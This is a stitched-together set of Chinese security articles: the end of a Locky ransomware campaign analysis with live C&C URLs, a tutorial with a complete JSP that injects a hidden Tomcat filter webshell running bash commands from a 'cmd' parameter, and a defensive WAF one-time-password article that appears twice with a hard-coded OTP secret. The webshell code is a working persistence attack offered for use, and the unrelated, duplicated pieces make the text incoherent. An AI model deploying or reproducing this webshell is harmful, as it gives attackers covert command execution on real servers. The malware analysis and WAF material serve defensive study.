代码中使用了花指令混淆,如下面的代码本来可以直接调用sub_157408函数执行,而程序作者却先通过一些无关紧要的判断后到该函数执行。通过GetFileAttributesA获得一个不存在的文件apfHQ的文件属性,函数返回值永远为-1,所以当v8计数器>1时就会继续到sub_157408处运行。

8.png

sub_157408功能经过类似的混淆:注册一个窗口类后,使用PostMessageA函数向窗口发送0X1024号MSG(wParam和lParam分别为100,500),并随后使用GetMessage得到这个消息后,继续运行后面的代码

9.png

进行base64解码后,到解码后的地方执行

10.png

开启线程进行进程检测:通过计算进程名的hash值,与程序硬编码的hash进行比较,以此做为虚拟机对抗等。

11.png

12.png

 13.png

代码最终会解密出PE文件,将该PE文件注入到傀儡进程中执行

14.png

最后注入傀儡进程中的代码向下面的C&C发送请求,读取加密内容。

http://sergiocarfagna.it/SLyhe6.enc 

http://axtes.com/SLyhe6.enc

随后会与http://gdiscoun.org进行通信。目前http://gdiscoun.org地址的DNS已经被解析到了google.com。

将读取的加密内容解密后就是locky家族的勒索软件。Locky运行后的截图如下:

15.png

C&C地址分析

根据腾讯反病毒实验室的安全数据分析,对于此波攻击事件中的攻击者的基础设施情况,我们得到以下结论:

1.    将每个攻击文档的利用过程中都使用了大量的C&C地址。基本上对于每个攻击文档可以提取出9个C&C地址,其中word阶段为1个,powershell阶段为5个,loader阶段为3个。在对此波攻击范围中的多个文档样本分析后发现,在powershell阶段使用的C&C地址大部分都是相同的。

2.    不同的攻击文档,在不同的阶段可以使用相同的C&C。

如arkberg-design.fi这个地址,既是文档1(MD5: 0910541c2ac975a49a28d7a939e48cd3)的word阶段的C&C,也是文档2(MD5:f5564925dd68e23672d898e0a590340e)的powershell阶段的C&C。

3.    不同的攻击文档,在相同的阶段可以使用不同的C&C,但这些C&C位于相同的IP地址中。

如在文档1(MD5:fd5d0801d9470908090dcd36ae88e96c)使用的C&C地址为pdj.co.id,而文档2(MD5: 96284109c58728ed0b7e4a1229825448)的word阶段都使用的C&C地址为vithos.de,但pdj.co.id和vithos.de都位于相同的IP(87.106.30.57)中。

4.    C&C地址的域名并不都是攻击者的基础设施,有一部分为被攻击者非法控制的正常网站。其中一部分被利用的网站的首页界面都如下图所示。攻击者控制这些正常网站后,会将恶意内容放在网站的指定路径下。此后,恶意程序会连接该URL从而串联起整个攻击流程。

16.png

被利用的正常网站域名包括:

pdj.co.id
accessyouraudience.com
deltasec.net
basedow-bilder.de
pragmaticinquiry.org
shamanic-extracts.biz

防范建议

攻击者在攻击过程中使用了钓鱼邮件做为攻击的最初载荷。因此做好企业安全教育,不随意打开陌生人发送的文件可以最快的阻断攻击。

建议用户尽快排查自身网络内是否有C&C地址的访问,一旦发现有终端主机对上述地C&C地址发起请求连接则极有可能已经沦陷。同时建议用户安装腾讯电脑管家等终端安全产品,保持终端安全产品的及时更新从而达到有效防护。

目前,腾讯电脑管家和哈勃分析系统(https://habo.qq.com/)已经能够识别和查杀此类文档文件和loader程序。

17.png

18.png

参考:

https://myonlinesecurity.co.uk/more-locky-ransomware-delivered-via-dde-exploit-pretending-to-come-from-your-own-company-or-email-address/

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

https://www.virustotal.com/en/file/3d750de58563f860cd8f8674ce08e96b1f4e3ae3564c10efe61c50738056b0f2/analysis/

抱着隐藏 shell 的目的去调试的 tomcat 的代码。我调试了tomcat 从接收到一个socket 到解析socket 并封装成Request 转发至 Jsp/Servlet 的全过程,找到了两个较为容易实现的方法(肯定还有其它的方法),这里记录一其中一个。另一个也很类似所以只记录一下思路。

1. 运行时动态插入过滤器 

过滤器的基础概念以及作用这里不写了。

 Servlet 规范(应该是从3.0 开始)里面本身规定了一个名为ServletContext 的接口,其中有三个重载方法:

FilterRegistration.Dynamic addFilter(String filterName,String className)

FilterRegistration.Dynamic addFilter(String filterName,Filter filter)

FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass) 

这三个方法使得我们可以在运行时动态地添加过滤器。

Tomcat 对 ServletContext 接口的实现类为:org.apache.catalina.core.ApplicationContextFacade

但是并没有简单到直接调用一下这可以实现,因为 Tomcat 在对这个接口的实现中,是只允许在容器还没有初始化完成的时候调用这几个方法。一旦容器初始化已经结束,调用时就会出现异常:

1.jpeg

我看了一下这个 if 之后的语句,并不是太复杂,这使得我们完全可以自己用代码来执行后面的逻辑。写的过程也没有太顺利,我完全复制了后面的逻辑,但是动态插入过滤器却没有生效。所以去重新调试了一遍tomcat 接收处理请求的全过程,发现为请求组装filterChain 是在 StandardWrapperValve 里面进行的:

2.jpg

真正的组装方法位于:

org.apache.catalina.core.ApplicationFilterFactory#createFilterChain

代码太长不截图了,有兴趣的可以自己去看。

组装完成后开始调用过滤器链。

3.jpg 

我将 org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 方法内的细节与自己写的插入过滤器的细节做了对比,得出下面这个可以在Tomcat 8 (Tomcat 7 上的话需要小改一下)下实现我想要的目的 Jsp文件。直接看代码吧: 

<%@ page language="java" contentType="text/html; charset=UTF-8"
   
pageEncoding="UTF-8"%>
<%@ page import=
"java.io.IOException"%>
<%@ page import=
"javax.servlet.DispatcherType"%>
<%@ page import=
"javax.servlet.Filter"%>
<%@ page import=
"javax.servlet.FilterChain"%>
<%@ page import=
"javax.servlet.FilterConfig"%>
<%@ page import=
"javax.servlet.FilterRegistration"%>
<%@ page import=
"javax.servlet.ServletContext"%>
<%@ page import=
"javax.servlet.ServletException"%>
<%@ page import=
"javax.servlet.ServletRequest"%>
<%@ page import=
"javax.servlet.ServletResponse"%>
<%@ page import=
"javax.servlet.annotation.WebServlet"%>
<%@ page import=
"javax.servlet.http.HttpServlet"%>
<%@ page import=
"javax.servlet.http.HttpServletRequest"%>
<%@ page import=
"javax.servlet.http.HttpServletResponse"%>
<%@ page import=
"org.apache.catalina.core.ApplicationContext"%>
<%@ page import=
"org.apache.catalina.core.ApplicationFilterConfig"%>
<%@ page import=
"org.apache.catalina.core.StandardContext"%>
<%@ page import=
"org.apache.tomcat.util.descriptor.web.*"%>
<%@ page import=
"org.apache.catalina.Context"%>
<%@ page import=
"java.lang.reflect.*"%>
<%@ page import=
"java.util.EnumSet"%>
<%@ page import=
"java.util.Map"%>


<!DOCTYPE html PUBLIC
"-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv=
"Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
<%
final String name =
"n1ntyfilter";

ServletContext ctx = request.getSession().getServletContext();
Field f = ctx.getClass().getDeclaredField(
"context");
f.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)f.get(ctx);

f = appCtx.getClass().getDeclaredField(
"context");
f.setAccessible(true);
StandardContext standardCtx = (StandardContext)f.get(appCtx);


f = standardCtx.getClass().getDeclaredField(
"filterConfigs");
f.setAccessible(true);
Map filterConfigs = (Map)f.get(standardCtx);

if (filterConfigs.get(name) == null) {
   out.println(
"inject "+ name);
  
   Filter filter = new Filter() {
      @Override
      public void init(FilterConfig arg0) throws ServletException {
         // TODO Auto-generated method stub
      }
     
      @Override
      public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
            throws IOException, ServletException {
         // TODO Auto-generated method stub
         HttpServletRequest req = (HttpServletRequest)arg0;
         if (req.getParameter(
"cmd") != null) {
            byte[] data = new byte[
1024];
            Process p = new ProcessBuilder(
"/bin/bash","-c", req.getParameter("cmd")).start();
            int len = p.getInputStream().read(data);
            p.destroy();
            arg1.getWriter().write(new String(data,
0, len));
            return;
         }
         arg2.doFilter(arg0, arg1);
      }
     
      @Override
      public void destroy() {
         // TODO Auto-generated method stub
      }
   };
  
   FilterDef filterDef = new FilterDef();
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    filterDef.setFilter(filter);
   
    standardCtx.addFilterDef(filterDef);
  
   FilterMap m = new FilterMap();
   m.setFilterName(filterDef.getFilterName());
   m.setDispatcher(DispatcherType.REQUEST.name());
   m.addURLPattern(
"/*");
  
  
   standardCtx.addFilterMapBefore(m);
  
  
   Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
   constructor.setAccessible(true);
   FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);
  
  
    filterConfigs.put(name, filterConfig);
   
    out.println(
"injected");
}
%>
</body>
</html>

将以上 JSP 文件上传至目标服务器命名为 n1ntyfilter.jsp,访问后如果看到“injected” 字样,说明我们的过滤器已经插入成功,随后可以将此 jsp 文件删掉。随后,任何带有 cmd 参数的请求都会被此过滤器拦下来,并执行 shell 命令,达到“看不见的 shell”的效果。

4.jpg

5.jpg

2. 动态插入 Valve

Valve 是 Tomcat 中的用于对Container 组件(Engine/Host/Context/Wrapper)进行扩展一种机制。通常是多个Valve组装在一起放在Pipeline 里面。Tomcat 中 Container 类型的组件之间的上下级调用基本上都是通过pipeline 与 valve 完成的。如果你熟悉 Struts2 中的拦截器机制,那么你会很容易理解valve + pipeline 的动作方式。Pipeline 就相当于拦截器链,而valve就相当于拦截器。 

Valve 接口定义了如下的 invoke 方法:

publicvoid invoke(Request requestResponse response)
    
throws IOExceptionServletException;

我们只需在运行时向 Engine/Host/Context/Wrapper  这四种 Container 组件中的任意一个的pipeline 中插入一个我们自定义的 valve,在其中对相应的请求进行拦截并执行我们想要的功能,就可以达到与上面Filter 的方式一样的效果。而且 filter 只对当前context 生效,而valve 如果插到最顶层的container 也就是 Engine,则会对 Engine 下的所有的context 生效。 

以上两种方式,利用的时候都必须是通过 HTTP 的方式去真正地发起一个请求,因为在这些流程之前,Tomcat会检查接收自socket的前几个字节是不是符合HTTP 协议的要求,虽然被请求的文件可以不存在。如果想利用非HTTP 协议,则需要在tomcat 的Connector 上做手脚,这个复杂度就比以上两种方式要高很多了。

以上两种方式都会在 Tomcat 重启后失效。

*本文作者:n1nty, 首发于作者公众号,转载请注明FreeBuf.COM

今天来讲讲基于openresty来实现透明部署动态口令功能,动态口令的基础概念这里就不讲了,网上的介绍很多,下面直入正题。

企业内部系统部署方案

通过在原有的业务系统上,部署WAF来反向代理业务请求,从而实现透明部署动态口令功能。

架构图如下:

11.png

WAF在接收到用户提交的特定请求时,会获取用户密码后六位,即动态口令的值,在对动态口令进行校验后,如果正确则重写该请求,将请求中的后六位删除再转发到业务系统,如果失败则丢弃该请求并提示。

通过以上方式,无需对原系统的代码进行任何修改,即可实现部署动态口令功能的效果。

实战:

新建文件 waf_otp_rule.json 内容如下:

[
	    {
        "rule_id": "300001",
        "rule_detail": "otp",
        "rule_action": "otp",
	"rule_otp_key":{"rule_var":"ARGS_POST","rule_specific": ["password"]},
         //指定otp验证码的参数名
	"rule_otp_password": "QDM7V5TEXXHSBEUJZCOJEGPR",//OTP密钥
	"rule_log": "false",
	"rule_otp_redirect":"http://10.201.XXX.XXX/WebGoat/login?error",//验证失败重定向的地址
        "rule_matchs": [
	                {
                "rule_vars": [
                    {
                        "rule_var": "URI"

                    }
                ],
                "rule_transform": ["none"],
                "rule_operator": "rx",
                "rule_pattern": "/WebGoat/login$",
                "rule_negated": false

            },

            {
                "rule_vars": [
                    {
                        "rule_var": "ARGS_POST",
			"rule_specific": ["password"]

                    }
                ],
                "rule_transform": ["length"],
                "rule_operator": "gt",
                "rule_pattern": "0",
                "rule_negated": false
            }
        ]
  }
]

以webgoat为例,规则的意思是,先识别识别请求url是否为 /webgoat/login,如果是,判断password参数的值的长度是否大于0,如果是,则执行rule_otp_key动作,将password的值的最后六位数取出来与OTP密钥生成的key进行匹配,正确则重写password参数,将参数后六位删除,确保后端业务系统能正确识别密码。如果动态口令识别失败,则将请求重定向到rule_otp_redirect指定的地址,即webgoat的登录页面。

效果:

首先打开微信小程序,搜索运维密码,这是个开源的动态口令客户端应用,每30秒会更新一次key,详细使用方法请查看官方说明。

12.jpg

输入账号freebuf,密码123456

13.png

OTP验证失败,返回登录页面

14.png

输入账号freebuf,密码123456898926 (898926为上图的验证码),成功登录后台

15.png

以上是针对单一应用的情况,下面讲讲内部应用统一登录验证的方案

架构图如下:

16.png

实现上和单应用的情况是差不多,针对每个不同的应用,单独配置nginx的反向代理和waf的规则文件即可,相比单应用情况不同的是,如果需要针对不同的用户,不同的应用单独设置OTP密钥,那该怎么办呢?可以参考下面的规则:


[

{

"rule_id": "300002",

"rule_detail": "otp",

"rule_action": "otp",

"rule_otp_key":{"rule_var":"ARGS_POST","rule_specific": ["password"]},

//指定otp验证码的参数名

“rule_otp_password”: “QDM7V5TEXXHSBEUJZCOJEGPR”,//OTP密钥

“rule_log”: “false”,

“rule_otp_redirect”:”http://10.201.XXX.XXX/WebGoat/login?error“,//验证失败重定向的地址

“rule_matchs”: [

{

"rule_vars": [

{

"rule_var": "URI"

}

],

“rule_transform”: ["none"],

“rule_operator”: “rx”,

“rule_pattern”: “/WebGoat/login$”,

“rule_negated”: false

},

{

“rule_vars”: [

{

"rule_var": "ARGS_POST",

"rule_specific": ["username"]

}

],

“rule_transform”: ["none"],

“rule_operator”: “rx”,

“rule_pattern”: “^(freebuf|admin|root)$”,

“rule_negated”: false

}

]

},

{

“rule_vars”: [

{

"rule_var": "ARGS_POST",

"rule_specific": ["password"]

}

],

“rule_transform”: ["length"],

“rule_operator”: “gt”,

“rule_pattern”: “0″,

“rule_negated”: false

}

]

}

]

在原有规则的基础上,新加一个判断条件,当检测到用户为freebuf,admin,root时,才匹配该规则。将该规则复制,修改rule_otp_password的值,^(freebuf|admin|root)$为其他用户,即可为每个用户单独分配不同的密钥。针对其他应用也是同理,即可实现每个不同用户在每个不同应用上的密钥都是不同的。以上方法适合中小企业,也就是人数不多,应用也不多的情况。下面来讲讲在线上有大量用户情况下的部署情况,同理适用有大量用户的内部部署的情况。

线上系统部署实现方案:

线上部署的情况需要新加两条规则,如下:

[

{

"rule_id": "300004",

"rule_detail": "otp",

"rule_action": "otp_check",

"rule_otp_value":[{"rule_var":"ARGS","rule_specific":["username"]}]

“rule_otp_key”:[{"rule_var":"REQUEST_COOKIES","rule_specific":["JSESSIONID"]}]

//OTP二维码页面权限验证

“rule_log”: “false”,

“rule_matchs”: [

{

"rule_vars": [

{

"rule_var": "URI"

}

],

“rule_transform”: ["none"],

“rule_operator”: “rx”,

“rule_pattern”: “/WebGoat/login$”,

“rule_negated”: false

},

{

“rule_vars”: [

{

"rule_var": "ARGS_RESP_HEADER",

"rule_specific": ["Location"]

}

],

“rule_transform”: ["none"],

“rule_operator”: “rx”,

“rule_pattern”: “welcome.mvc$”,

“rule_negated”: false

}

]

}

]

如果用户登录成功,以JSESSIONID为键,username为值,存入缓存中。


[

{

"rule_id": "300003",

"rule_detail": "otp",

"rule_action": "otp_qrcode",

"rule_otp_qrkey":[{"rule_var":"REQUEST_COOKIES","rule_specific":["JSESSIONID"]}]

//指定otp验证码的参数名

“rule_log”: “false”,

“rule_matchs”: [

{

"rule_vars": [

{

"rule_var": "URI"

}

],

“rule_transform”: ["none"],

“rule_operator”: “rx”,

“rule_pattern”: “/otp/qrcode”,

“rule_negated”: false

}

]

这条规则为开启OTP密钥二维码页面,访问该请求时,会先校验JSESSIONID是否存在,如不存在拒绝访问,如果存在,查询JSESSIONID的值,即username的值是否存在redis服务器,如果不存在,生成随机OTP密钥,显示密钥二维码在页面上,并以用户名为键,密钥字符串为值存入redis服务器。如果存在,则将用户名对应的密钥取出,生成二维码显示在页面上。

最后是开启全局规则配置选项”otp_redis_login_check”:”true”。

处理流程图如下:

17.png

从图中可以看出,在开启了otp_redis_login_check选项后,只有访问了OTP二维码生成页面的用户才会开启OTP登录验证功能,那么就可以在线上环境中,增加一个”开启动态口令”按钮,当用户点击后重定向到二维码页面,用户通过微信小程序”运维密码”(开源,真正使用建议独立部署一套)完成OTP的配置,简单方便。动态口令功能不仅限于在登录的场景下使用,也可以在任意重要操作中,比如资金交易时输入资金交易密码,修改原有密码等业务场景中,新加业务场景只需新增一条规则即可。

以上是针对线上的情况,针对内部有大量用户的情况,方法跟上述差不多,比如先邮件通知,限期让大家登陆应用后访问OTP二维码页面,也可以配置规则,在登录成功时强制重定向到OTP二维码页面,等限期结束后,关闭otp_redis_login_check选项,强制所有登录走OTP,之后有没配置的,或者新员工,可以通过后台系统单独添加。

总结:

相比于网站后端开发OTP功能的方式,该方法的优点在于适用任何后端语言,无论后端是基于java,.NET,python还是其他语言都没有影响,无需对网站代码进行修改,即可实现快速部署。当需要新加验证场景时,只需新加规则即可,后端无需重新开发。当不需要该功能时,只需将该功能模块关闭,或者在网络架构中移除waf即可,不会对原有的前后端造成影响。

功能还在完善中,有不足的地方欢迎指出:)

邮箱jx-sec#outlook.com,对waf开发这块感兴趣的欢迎交流

文章为一个系列,主要讲WAF开发中各种有意思的新功能和思路,其他文章可以通过下面链接查看

基于Openresty实现业务安全防护     http://www.freebuf.com/vuls/150571.html

前言

      本文推荐的公众号为非安全公司宣传用公号,或是关注于网络安全的某一领域的个人或企业,或是纯属小编个人喜爱。公众号自我介绍部分已按小编心情进行了删减,推荐理由与推荐指数也仅代表个人观点,请勿深究。

      信息安全专业是管理网络安全的一个专业,需具有全面的信息安全专业知识,是计算机、通信、数学、物理、法律、管理等学科的交叉学科。你是否感觉看过之后还是一脸懵逼这么多学科交叉,是不是有点眼花。你需要学很多很多东西!这里小编就给你捋一捋,推荐50个网络安全从业人员可能会关注的公众号吧。

图片.png

今天来讲讲基于openresty来实现透明部署动态口令功能,动态口令的基础概念这里就不讲了,网上的介绍很多,下面直入正题。

企业内部系统部署方案

通过在原有的业务系统上,部署WAF来反向代理业务请求,从而实现透明部署动态口令功能。

架构图如下:

11.png

WAF在接收到用户提交的特定请求时,会获取用户密码后六位,即动态口令的值,在对动态口令进行校验后,如果正确则重写该请求,将请求中的后六位删除再转发到业务系统,如果失败则丢弃该请求并提示。

通过以上方式,无需对原系统的代码进行任何修改,即可实现部署动态口令功能的效果。

实战:

新建文件 waf_otp_rule.json 内容如下:

[
	    {
        "rule_id": "300001",
        "rule_detail": "otp",
        "rule_action": "otp",
	"rule_otp_key":{"rule_var":"ARGS_POST","rule_specific": ["password"]},
         //指定otp验证码的参数名
	"rule_otp_password": "QDM7V5TEXXHSBEUJZCOJEGPR",//OTP密钥
	"rule_log": "false",
	"rule_otp_redirect":"http://10.201.XXX.XXX/WebGoat/login?error",//验证失败重定向的地址
        "rule_matchs": [
	                {
                "rule_vars": [
                    {
                        "rule_var": "URI"

                    }
                ],
                "rule_transform": ["none"],
                "rule_operator": "rx",
                "rule_pattern": "/WebGoat/login$",
                "rule_negated": false

            },

            {
                "rule_vars": [
                    {
                        "rule_var": "ARGS_POST",
			"rule_specific": ["password"]

                    }
                ],
                "rule_transform": ["length"],
                "rule_operator": "gt",
                "rule_pattern": "0",
                "rule_negated": false
            }
        ]
  }
]

以webgoat为例,规则的意思是,先识别识别请求url是否为 /webgoat/login,如果是,判断password参数的值的长度是否大于0,如果是,则执行rule_otp_key动作,将password的值的最后六位数取出来与OTP密钥生成的key进行匹配,正确则重写password参数,将参数后六位删除,确保后端业务系统能正确识别密码。如果动态口令识别失败,则将请求重定向到rule_otp_redirect指定的地址,即webgoat的登录页面。

效果:

首先打开微信小程序,搜索运维密码,这是个开源的动态口令客户端应用,每30秒会更新一次key,详细使用方法请查看官方说明。

12.jpg

输入账号freebuf,密码123456

13.png

OTP验证失败,返回登录页面

14.png

输入账号freebuf,密码123456898926 (898926为上图的验证码),成功登录后台

15.png

以上是针对单一应用的情况,下面讲讲内部应用统一登录验证的方案

架构图如下:

16.png

实现上和单应用的情况是差不多,针对每个不同的应用,单独配置nginx的反向代理和waf的规则文件即可,相比单应用情况不同的是,如果需要针对不同的用户,不同的应用单独设置OTP密钥,那该怎么办呢?可以参考下面的规则:


[

{

"rule_id": "300002",

"rule_detail": "otp",

"rule_action": "otp",

"rule_otp_key":{"rule_var":"ARGS_POST","rule_specific": ["password"]},

//指定otp验证码的参数名

“rule_otp_password”: “QDM7V5TEXXHSBEUJZCOJEGPR”,//OTP密钥

“rule_log”: “false”,

“rule_otp_redirect”:”http://10.201.XXX.XXX/WebGoat/login?error“,//验证失败重定向的地址

“rule_matchs”: [

{

"rule_vars": [

{

"rule_var": "URI"

}

],

“rule_transform”: ["none"],

“rule_operator”: “rx”,

“rule_pattern”: “/WebGoat/login$”,

“rule_negated”: false

},

{

“rule_vars”: [

{

"rule_var": "ARGS_POST",

"rule_specific": ["username"]

}

],

“rule_transform”: ["none"],

“rule_operator”: “rx”,

“rule_pattern”: “^(freebuf|admin|root)$”,

“rule_negated”: false

}

]

},

{

“rule_vars”: [

{

"rule_var": "ARGS_POST",

"rule_specific": ["password"]

}

],

“rule_transform”: ["length"],

“rule_operator”: “gt”,

“rule_pattern”: “0″,

“rule_negated”: false

}

]

}

]

在原有规则的基础上,新加一个判断条件,当检测到用户为freebuf,admin,root时,才匹配该规则。将该规则复制,修改rule_otp_password的值,^(freebuf|admin|root)$为其他用户,即可为每个用户单独分配不同的密钥。针对其他应用也是同理,即可实现每个不同用户在每个不同应用上的密钥都是不同的。以上方法适合中小企业,也就是人数不多,应用也不多的情况。下面来讲讲在线上有大量用户情况下的部署情况,同理适用有大量用户的内部部署的情况。

线上系统部署实现方案:

线上部署的情况需要新加两条规则,如下:

[

{

"rule_id": "300004",

"rule_detail": "otp",

"rule_action": "otp_check",

"rule_otp_value":[{"rule_var":"ARGS","rule_specific":["username"]}]

“rule_otp_key”:[{"rule_var":"REQUEST_COOKIES","rule_specific":["JSESSIONID"]}]

//OTP二维码页面权限验证

“rule_log”: “false”,

“rule_matchs”: [

{

"rule_vars": [

{

"rule_var": "URI"

}

],

“rule_transform”: ["none"],

“rule_operator”: “rx”,

“rule_pattern”: “/WebGoat/login$”,

“rule_negated”: false

},

{

“rule_vars”: [

{

"rule_var": "ARGS_RESP_HEADER",

"rule_specific": ["Location"]

}

],

“rule_transform”: ["none"],

“rule_operator”: “rx”,

“rule_pattern”: “welcome.mvc$”,

“rule_negated”: false

}

]

}

]

如果用户登录成功,以JSESSIONID为键,username为值,存入缓存中。


[

{

"rule_id": "300003",

"rule_detail": "otp",

"rule_action": "otp_qrcode",

"rule_otp_qrkey":[{"rule_var":"REQUEST_COOKIES","rule_specific":["JSESSIONID"]}]

//指定otp验证码的参数名

“rule_log”: “false”,

“rule_matchs”: [

{

"rule_vars": [

{

"rule_var": "URI"

}

],

“rule_transform”: ["none"],

“rule_operator”: “rx”,

“rule_pattern”: “/otp/qrcode”,

“rule_negated”: false

}

]

这条规则为开启OTP密钥二维码页面,访问该请求时,会先校验JSESSIONID是否存在,如不存在拒绝访问,如果存在,查询JSESSIONID的值,即username的值是否存在redis服务器,如果不存在,生成随机OTP密钥,显示密钥二维码在页面上,并以用户名为键,密钥字符串为值存入redis服务器。如果存在,则将用户名对应的密钥取出,生成二维码显示在页面上。

最后是开启全局规则配置选项”otp_redis_login_check”:”true”。

处理流程图如下:

17.png

从图中可以看出,在开启了otp_redis_login_check选项后,只有访问了OTP二维码生成页面的用户才会开启OTP登录验证功能,那么就可以在线上环境中,增加一个”开启动态口令”按钮,当用户点击后重定向到二维码页面,用户通过微信小程序”运维密码”(开源,真正使用建议独立部署一套)完成OTP的配置,简单方便。动态口令功能不仅限于在登录的场景下使用,也可以在任意重要操作中,比如资金交易时输入资金交易密码,修改原有密码等业务场景中,新加业务场景只需新增一条规则即可。

以上是针对线上的情况,针对内部有大量用户的情况,方法跟上述差不多,比如先邮件通知,限期让大家登陆应用后访问OTP二维码页面,也可以配置规则,在登录成功时强制重定向到OTP二维码页面,等限期结束后,关闭otp_redis_login_check选项,强制所有登录走OTP,之后有没配置的,或者新员工,可以通过后台系统单独添加。

总结:

相比于网站后端开发OTP功能的方式,该方法的优点在于适用任何后端语言,无论后端是基于java,.NET,python还是其他语言都没有影响,无需对网站代码进行修改,即可实现快速部署。当需要新加验证场景时,只需新加规则即可,后端无需重新开发。当不需要该功能时,只需将该功能模块关闭,或者在网络架构中移除waf即可,不会对原有的前后端造成影响。

功能还在完善中,有不足的地方欢迎指出:)

邮箱jx-sec#outlook.com,对waf开发这块感兴趣的欢迎交流

文章为一个系列,主要讲WAF开发中各种有意思的新功能和思路,其他文章可以通过下面链接查看

基于Openresty实现业务安全防护     http://www.freebuf.com/vuls/150571.html